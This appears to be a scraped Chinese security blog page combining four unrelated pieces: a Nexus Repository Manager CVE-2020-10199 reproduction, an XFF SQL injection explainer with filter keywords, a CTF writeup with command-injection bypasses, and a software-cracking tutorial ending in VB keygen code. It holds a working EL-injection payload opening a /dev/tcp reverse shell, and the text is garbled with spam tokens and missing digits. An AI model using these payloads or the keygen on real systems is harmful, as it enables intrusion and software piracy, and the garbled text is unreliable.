1.Nexus Repository Manager3远程命令执行漏洞复现CVE-2020-10199
2.XFF漏洞攻击原理及防御方案
3.广东省第三届强网杯Writeup
4.破解软件的洞源洞代问题
Nexus Repository Manager3远程命令执行漏洞复现CVE-2020-10199
nexus的全称是Nexus Repository Manager,是码漏码Sonatype公司的一个产品。它是洞源洞代一个强大的仓库管理器,极大地简化了内部仓库的码漏码维护和外部仓库的访问。
主要用它来搭建公司内部的洞源洞代maven私服。但是码漏码个码系统源码它的功能不仅仅是创建maven私有仓库这么简单,还可以作为nuget、洞源洞代docker、码漏码npm、洞源洞代bower、码漏码pypi、洞源洞代rubygems、码漏码git lfs、洞源洞代yum、码漏码go、洞源洞代apt等的私有仓库,功能非常强大。
在 Nexus Repository Manager OSS/Pro 3..1 及之前的版本中,由于某处功能安全处理不当,导致经过授权认证的攻击者,可以在远程通过构造恶意的deb文件 源码 HTTP 请求,在服务端执行任意恶意代码,获取系统权限。此漏洞的利用需要攻击者具备任意类型的账号权限。
Nexus Repository Manager OSS/Pro 3.x <= 3..1
1、本次漏洞环境使用vulhub搭建,在有docker环境的虚拟机中下载
git clone github.com/vulhub/vulhu...
2、进入漏洞目录,执行docker-compose up -d 命令拉取漏洞环境
3、看到绿色的done表示拉取成功,在浏览器访问 your-ip:查看页面
1、首先使用账号密码admin/admin登录后台
2、登录后使用f找到cookie复制当前的csrf-Token
3、使用burp进行抓包,替换以下数据包,然后把自己的cookie和csrf-Token粘贴上去,然后发包即可看到执行了9*9
POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: ..1.:
Content-Length:
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Windows NT .0; Win; x; rv:.0) Gecko/ Firefox/.0
NX-ANTI-CSRF-TOKEN: 0.
Content-Type: application/json
Accept: */
*Origin: ..1.:
Referer: ..1.:/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.; NXSESSIONID=d8dc-ac-b6-aa-ca1d6bff
Connection: close
{ "name": "internal", "online": true, "storage": { "blobStoreName": "default", "strictContentTypeValidation": true}, "group": { "memberNames": ["$\\A{ 9*9}"]}}
4、把执行9*9修改为创建一个文件,进入docker中查看创建成功
$\\A{ ''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}
5、执行反弹shell把执行写入文件的payload修改成反弹shell的命令,使用nc进行监听,源码查找ip点击发送查看nc的监听看到返回了shell
"$\\A{ ''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/bash -c bash$IFS$9-i>&/dev/tcp/ip/port<&1')}"
1、官方已发布新版本修复了该漏洞,建议升级至最新版本
参考链接: mp.weixin.qq.com/s/CAts...
XFF漏洞攻击原理及防御方案
. HTTP头注入参数的探索 在深入探讨XFF注入之前,我们先来认识几个常见的HTTP头,它们在数据传输中扮演着关键角色:User-Agent:服务器借此识别用户设备类型和浏览器版本,一些大型网站会借此记录用户信息存储数据库。
Cookies:用于会话跟踪的加密数据,网站用它来识别用户身份。
X-Forwarded-For (XFF):即请求的真实IP来源,常用于记录请求经过的代理或负载均衡器。某些网站会利用它验证用户IP,但可能成为SQL注入的弱点。
Referer:浏览器告诉服务器的请求来源。
Host:客户端指定访问的目标服务器地址。
. XFF注入:隐身的SQL攻击手段 XFF注入是SQL注入的一种变体,通过篡改X-Forwarded-For头,将DNS请求伪装为SQL命令,从而绕过安全措施,执行恶意操作。这种攻击目标直指网站的背离kdj源码核心数据——数据库。 . XFF漏洞的严重后果 一旦落入XFF之手,后果不堪设想:数据泄露:用户的隐私信息可能被**。
网页篡改:恶意操控数据库,改变网页内容。
恶意软件传播:通过修改数据库植入恶意链接,危害网站安全。
系统权限滥用:攻击者可能攻击数据库服务器,甚至控制操作系统。
后门安装:服务器易受远程操控,留下安全隐患。
. 实现漏洞利用的步骤 要发现XFF漏洞,你可以通过抓包工具如Burpsuite的Repeater模块,逐个尝试以下操作:修改X-Forwarded-For头,观察响应变化,如出现异常结果,表明可能存在漏洞。
通过不同测试,识别查询字段的数量和SQL语句插入位置。
确定当前数据库的名称。
. 防御XFF注入的应用demo源码对策 要防范XFF攻击,首要措施是严格过滤HTTP头中的XFF字段,避免敏感字符的注入。以下是一些常见敏感字符的过滤规则:禁用可能导致SQL命令执行的关键词和函数,如“net user”、“xp_cmdshell”等。
排除可能引发系统调用的字符,如“add”、“exec”等。
过滤特殊字符,如单引号、冒号、双引号、分号等。
通过这些方法,我们可以增强服务器对XFF注入的抵抗力,保护网站数据安全。广东省第三届强网杯Writeup
原创:Team合天智汇
原创投稿活动:重金悬赏 | 合天原创投稿等你来
没有检查偏移,有数组越界
sleep有多线程竞争
解题思路:主要是利用多线程竞争时候的sleep(3),run后把对应的堆块free掉之后,可以泄露地址。本地远程同时测试得到环境是libc2.,用ubuntu.直接跑测试,然后通过填满tcache来泄露libc,然后通过run来修改fd为free_hook,然后再malloc两次,第二次写free_hook为system地址,再delete直接getshell。
PWN是CTF赛事中主流题型,主要考察参赛选手的逆向分析能力以及漏洞挖掘与Exploit利用编写能力。相关PWN的学习可到合天网安实验室学习实验——CTF-PWN系列汇总
CTF-PWN系列汇总(合天网安实验室)
1. 小明又被拒绝了
修改XFF:.0.0.1,admin=1
2. XX?
尝试使用XXE攻击
伪协议读取flag.php
使用\分割即可:%3Bc\at%%7BIFS%7Din\dex.p\hp
3. Ping一下
发现cat,使用\分割即可:%3Bta\il%%7BIFS%7D-1%%7BIFS%7D/fl\ag
4. PHP
采用取反的方式,最后url编码
5. API
尝试post数据,发现json_decode,尝试发送json格式
读到源码,发现存在信息泄露,尝试读取以上文件,卡了很久,通过跳转目录读取,构造序列化读取fffffaa_not.php,绕过正则,读到源码,写入shell
CTFMisc实战学习 课程:XCTFMisc实战(合天网安实验室)
1. 完美的错误
解密脚本
2. 撸啊撸
修复头,用大小端方式改了放进ida里看看,修复后简单
3. 脑筋急转弯
对音频分析,提取zip包,尝试3进制转化,寻找等价字符,最终脑fuck解密得到flag
隐写(Stegano)与取证分析(Forensics)是CTF竞赛中的主要题型之一,主要考查参赛选手的对各种隐写工具、隐写算法以及取证分析流程的熟悉程度
1. 美好的回忆
类似于CBC加密模式,利用已知明文、密文,得到密钥,解密获得明文
2. 悲伤的结局
同样类似于CBC加密模式,利用填充和已知明文,得到密钥,解密获得明文
3. RSA
利用类似RSA私钥恢复的技巧,找到n的结尾,利用RSA解密方法求解明文
4. 老王的秘密
用于分享与普及网络知识,与合天智汇及原作者无关!
破解软件的问题
先用PEID查一下壳,再去他注册地方看看,注册提示信息接下来,我们直接用OD载入,可以用OD的插件查找他的“ASCII”字符.查找有关信息. 我们搜索“注册”,就可以找到我们的信息。我们在“提示注册成功,本程序所有能限制下次启动…..”这句地方,回车进入代码处,因为程序是重上面往下运行,所以我们分析要重下往上看.
FFCE . PUSH EBP
FFCF . 0D PUSH EasyCRM.D
FFD4 . :FF PUSH DWORD PTR FS:[EAX] 去他注册地方看看,注册提示信息
FFD7 . : MOV DWORD PTR FS:[EAX],ESP
FFDA . 8B FC MOV EAX,DWORD PTR SS:[EBP-4]
FFDD . E8 AE CALL EasyCRM. //调用算法
FFE2 . C0 TEST AL,AL //比较
FFE4 0F DB JE EasyCRM.C5 //相等跳C5
FFEA . C0 XOR EAX,EAX
我们来看看C5处
C5 > 6A PUSH
C7 . PUSH EasyCRM. //软件注册
CC . B PUSH EasyCRM.B4 //注册成功
经过,本菜鸟的简单分析,
FFDD . E8 AE CALL EasyCRM. //这句就是他的关键CALL
FFE4 0F DB JE EasyCRM.C5 //这句就是他的关键跳
那我们在他关键CALL 下断点,那我们输入假注册码,他是否会和真注册进行比较呢?下个断点试下就知道了。在FFDD 处F2下断点.接着F9运行程序,进行注册,
在注册的用户名我们就添入我们黑客防线的网站地址吧。在注册码随便输入些数字。点击注册,程序停止运行,有点假死的味道,我们来看看F7步入F8下走来看看OD的反映。
6A push
:A 6A push
:C dec ecx
:D F9 jne // 回跳在
:F push ecx //F4
进入之后在D处有个回跳,我们直接在F F4运行到所选,继续F8慢慢下看。经过n个F8后,我们在OD的下面看到一写类似的注册的ASCII的友情提示。
Stack SS:[EC0C]=, (ASCII "CRM4-Eei8-E2D6")
EDX=A4, (ASCII "www.hacker.com.cn")
我们刚才输入的用户名就是:www.hacker.com.cn 那CRM4-Eei8-E2D6 会不会是我们的注册码呢,我们来输入看看吧。
看图,提示“提示注册成功,本程序所有能限制下次启动…..”对于程序就破接ok了。接着我们就写我们的内存注册机了。对于内存注册就断在 f5的 edx上,因为这里是我们追出注册码的地方,
中断地址:f8
中断次数:1
第一字节:
指令长度:1
对于程序的算法,我特别差,这里要感谢诗人的帮忙.
我们可以在
FFDD . E8 AE CALL EasyCRM. //调用算法
进去看看他的算法分析,尝试写个算法注册机.
FD 6A push 0 //初始化
FF 6A push 0
dec ecx
^ F9 jnz short EasyCRM.FD
push ecx
D FC xchg dword ptr ss:[ebp-4],ecx
push ebx
push esi
A push edi
B 8BF9 mov edi,ecx
D FC mov dword ptr ss:[ebp-4],edx
8B FC mov eax,dword ptr ss:[ebp-4]
E8 CCDFFF call EasyCRM.E0
C0 xor eax,eax
A push ebp
B B push EasyCRM.B5
:FF push dword ptr fs:[eax]
: mov dword ptr fs:[eax],esp
8BC7 mov eax,edi
E8 DFFF call EasyCRM.C //取用户名
D 8B FC mov eax,dword ptr ss:[ebp-4]
E8 BB4ADFFF call EasyCRM.EF0 //取用户名长度
8BF0 mov esi,eax
F6 test esi,esi
7E jle short EasyCRM.
B BB mov ebx,1
8D4D EC lea ecx,dword ptr ss:[ebp-]
8B FC mov eax,dword ptr ss:[ebp-4]
0FB FF movzx eax,byte ptr ds:[eax+ebx-1] //循环 ebx作计数器
B D2 xor edx,edx
D E8 3A9FDFFF call EasyCRM.AC //取 ascii码值的函数
8B EC mov edx,dword ptr ss:[ebp-]
8D F8 lea eax,dword ptr ss:[ebp-8]
E8 9B4ADFFF call EasyCRM.EF8 // 保存在寄存器中,dd eax
D inc ebx
E 4E dec esi
F ^ DF jnz short EasyCRM.
8B F8 mov eax,dword ptr ss:[ebp-8]
E8 ADFFF call EasyCRM.EF0 //取长度函数,相当于vb中的 len
8BF0 mov esi,eax
B F6 test esi,esi
D 7E 2C jle short EasyCRM.B
F BB mov ebx,1
8B F8 mov eax,dword ptr ss:[ebp-8] //ebp-8中存的就是用户名的asc值
E8 ADFFF call EasyCRM.EF0
C 2BC3 sub eax,ebx
E 8B F8 mov edx,dword ptr ss:[ebp-8]
8A mov dl,byte ptr ds:[edx+eax]
8D E8 lea eax,dword ptr ss:[ebp-]
E8 8CDFFF call EasyCRM.E
C 8B E8 mov edx,dword ptr ss:[ebp-] // 这一段处理的就是将asc反转,
F 8D F4 lea eax,dword ptr ss:[ebp-C] //比如asc码是 反转后变为
E8 ADFFF call EasyCRM.EF8 // 相当于vb函数中的 StrReverse
inc ebx // 结果保存在 [ebp-c] 寄存器里
4E dec esi
^ D9 jnz short EasyCRM.
B 8D F8 lea eax,dword ptr ss:[ebp-8]
E push eax
F B9 mov ecx,4
A4 BA mov edx,1
A9 8B F4 mov eax,dword ptr ss:[ebp-C]
AC E8 9F4CDFFF call EasyCRM. // 取反序后的1-4位
B1 8D F4 lea eax,dword ptr ss:[ebp-C]
B4 push eax
B5 B9 mov ecx,4
BA BA mov edx,5
BF 8B F4 mov eax,dword ptr ss:[ebp-C]
C2 E8 CDFFF call EasyCRM. // 取反序后的5-8位
C7 8B F8 mov eax,dword ptr ss:[ebp-8] // 取出来的1-4为赋给eax
CA E8 ADFFF call EasyCRM.EF0
CF F8 cmp eax,4 // 比较长度是否够4位
D2 7D 2F jge short EasyCRM. // 够则跳 继续处理,否则进行以下操作
D4 8B F8 mov eax,dword ptr ss:[ebp-8]
D7 E8 ADFFF call EasyCRM.EF0
DC 8BD8 mov ebx,eax
DE FB cmp ebx,3
E1 7F jg short EasyCRM.
E3 8D4D E4 lea ecx,dword ptr ss:[ebp-1C]
E6 8BC3 mov eax,ebx
E8 C1E0 shl eax,2 // 左移两位 也就是 乘以4
EB D2 xor edx,edx
ED E8 9A9EDFFF call EasyCRM.AC
F2 8B E4 mov edx,dword ptr ss:[ebp-1C] // 不足4位就填充 长度*2*2的数字字符
F5 8D F8 lea eax,dword ptr ss:[ebp-8]
F8 E8 FBDFFF call EasyCRM.EF8
FD inc ebx
FE FB cmp ebx,4
^ E0 jnz short EasyCRM.E3
8B F4 mov eax,dword ptr ss:[ebp-C]
E8 EDFFF call EasyCRM.EF0
B F8 cmp eax,4 // 5-8为空 也就是长度为0,则像前面一样处理
E 7D 2F jge short EasyCRM.F
8B F4 mov eax,dword ptr ss:[ebp-C]
E8 DDFFF call EasyCRM.EF0
8BD8 mov ebx,eax
A FB cmp ebx,3 // 这里都是进行这样的处理
D 7F jg short EasyCRM.F // 写成 vb的程序就是
F 8D4D E0 lea ecx,dword ptr ss:[ebp-] // for i=0 to 3 m=m&str(I*4)
8BC3 mov eax,ebx
C1E0 shl eax,2
D2 xor edx,edx
E8 5E9EDFFF call EasyCRM.AC
E 8B E0 mov edx,dword ptr ss:[ebp-]
8D F4 lea eax,dword ptr ss:[ebp-C]
E8 BFDFFF call EasyCRM.EF8
inc ebx
A FB cmp ebx,4
D ^ E0 jnz short EasyCRM.F
F 8D F0 lea eax,dword ptr ss:[ebp-]
BA CC mov edx,EasyCRM.CC ; ASCII "CRMei"
E8 7CDFFF call EasyCRM.CC8
C 8D DC lea eax,dword ptr ss:[ebp-] // 特定字符串
F push eax
B9 mov ecx,4
BA mov edx,1
A 8B F0 mov eax,dword ptr ss:[ebp-]
D E8 EE4BDFFF call EasyCRM. // 取特定字符串1-4为也就是 CRM4
FF DC push dword ptr ss:[ebp-]
E push EasyCRM.E0
A FF F8 push dword ptr ss:[ebp-8]
D 8D D8 lea eax,dword ptr ss:[ebp-]
push eax // 将 算出来的 M1,M2分别插到特定字符串的具体位置
B9 mov ecx,5
BA mov edx,5 // 就得出真正的注册码了
B 8B F0 mov eax,dword ptr ss:[ebp-]
E E8 CD4BDFFF call EasyCRM.
FF D8 push dword ptr ss:[ebp-]
E push EasyCRM.E0
B FF F4 push dword ptr ss:[ebp-C]
E 8BC7 mov eax,edi
BA mov edx,6
E8 ADFFF call EasyCRM.FB0
A C0 xor eax,eax
C 5A pop edx
D pop ecx
E pop ecx
F : mov dword ptr fs:[eax],edx
A2 BC push EasyCRM.BC
A7 8D D8 lea eax,dword ptr ss:[ebp-]
AA BA 0A mov edx,0A
AF E8 ADFFF call EasyCRM.C
B4 C3 retn
B5 ^ E9 FDFFF jmp EasyCRM.D0
BA ^ EB EB jmp short EasyCRM.A7
BC 5F pop edi
BD 5E pop esi
BE 5B pop ebx
BF 8BE5 mov esp,ebp
C1 5D pop ebp
C2 C3 retn
例如,我们输入注册用户名字是1,那1 转换为 进制的ASCII码是“”,“”不足八位,需要补全补为 cc ,翻转为 C C x1=c x2=C 填到 CRM4-(x1)-ei8-(x2) 得到的注册码就是:CRM4-Cei8-C ,算法分析大概就是这样,知道了原理,我们就来写我们的算法注册机(编写语言VB)。
代码如下:
Private Sub Command1_Click()
Dim LenText1, i As Integer
Dim str, ValueText1 As String
ValueText1 = Text1.Text
LenText1 = Len(ValueText1)
If LenText1 = 0 Then
MsgBox "注册名总不会为空吧", , "提示"
Exit Sub
End If
For i = 1 To LenText1
str = str & Hex(Asc(Mid$(ValueText1, i, 1)))
Next
str = StrReverse(str)
If LenText1 = 3 Then
str = str & "8C"
ElseIf LenText1 = 2 Then
str = str & "C"
ElseIf LenText1 = 1 Then
str = str & "8CC"
End If
Text2.Text = "CRM4-" & Left$(str, 4) & "ei8-" & Right$(str, 4)
End Sub